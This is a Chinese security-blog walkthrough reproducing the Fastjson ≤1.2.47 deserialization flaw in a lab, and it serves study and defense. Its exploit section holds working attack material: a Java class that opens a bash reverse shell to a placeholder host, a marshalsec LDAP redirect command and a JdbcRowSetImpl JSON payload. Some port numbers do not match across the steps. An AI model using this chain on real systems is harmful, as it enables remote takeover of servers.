freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson漏洞分析
2020-07-28 20:20:28

0x01简介

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

 FastJson特点如下:

(1)能够支持将java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean。

(2)顾名思义,FastJson操作JSON的速度是非常快的。

(3)无其他包的依赖。

(4)使用比较方便。

0x02漏洞介绍

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

0x03影响版本

Fastjson <= 1.2.47

0x04环境搭建

虚拟机:centos7

所需环境:jdk8

JDK8下载地址:https://pan.baidu.com/s/1nuxQJkYwkY2UOaPEIshQig 提取码:lc0i

Tomcat

Tomcat下载地址:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/

Fastjson1.2.47

Fastjson1.2.47下载地址:链接:https://pan.baidu.com/s/1D0gDc3NGXlHQ2Yamy4zHtQ  提取码:ps2p

本地搭建Tomcat

1、安装jdk8并配置环境变量

首先在usr目录下创建一个java的目录

mkdir /usr/java

2、将下载好的jdk8的安装包放在usr/java目录下,使用tar解压,mv重命名

tar zxvf jdk-8u141-linux-x64.tar

mv jdk-8u141-linux-x64.tar/  jdk8   //重命名为jdk8

3、配置系统环境变量,使用vim编辑profile文件

vim /etc/profile  在最后一行加上一下代码

export JAVA_HOME=/usr/java/jdk8

export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

export PATH=$PATH:$JAVA_HOME/bin

保存后使用java -version 查看是否配置成功

Java环境安装好,再来安装Tomcat

把Tomcat传上Centos7上,使用tar zxvf apache-tomcat-9.0.36.tar.gz解压

使用命令重命名tomcat

mv apache-tomcat-9.0.27 tomcat9  //重命名为tomcat9

授予tomcat9这个文件夹为777权限

chmod 777 tomcat9/

把tomcat的加入到环境变量

vim /etc/profile

export CATALINA_HOME=/tomcat9  //存放tomcat的目录

应用环境变量

source  /etc/profile

启动tomcat,进入tomcat9下的bin目录

cd tomcat9/bin

sudo ./catalina.sh start   //启动tomcat

浏览器访问http://ip:8080 查看

复制fastjson1.2.47到webapps文件夹下,解压,访问出现hello word环境即搭建成功

0x05漏洞利用

1、编译生成Exploit.class

首先将以下代码保存为Exploit.java,反弹shell命令在代码内,可自行更改

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;




public class Exploit{

    public Exploit() throws Exception {

        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});

        InputStream is = p.getInputStream();

        BufferedReader reader = new BufferedReader(new InputStreamReader(is));




        String line;

        while((line = reader.readLine()) != null) {

            System.out.println(line);

        }




        p.waitFor();

        is.close();

        reader.close();

        p.destroy();

    }




    public static void main(String[] args) throws Exception {

    }

}

然后编译Exploit.java,会生成一个Exploit.class文件

javac Exploit.java

 

2.开启3个监听窗口

第一个使用python3开启一个临时服务,然后把编译好的Exploit.class文件放至web目录下,使浏览器访问会下载

python -m http.server 8000

注:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

第二个服务器使用刚才下载的工具marshalsec开启LDAP服务监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.106:8000/#Exploit 6666

注:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器

第3个,开启nc监听设定的端口

Nc -lvnp 4444

访问fastjson页面使用Burp抓包,构造数据包修改为POST请求,使用EXP

{

    "name":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "x":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://ip:9999/Exploit",

        "autoCommit":true

    }




}

发送后可以看到nc监听窗口成功得到shell

0x06修复方式

将Fastjson升级到最新版本

# 漏洞复现 # Fastjson反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者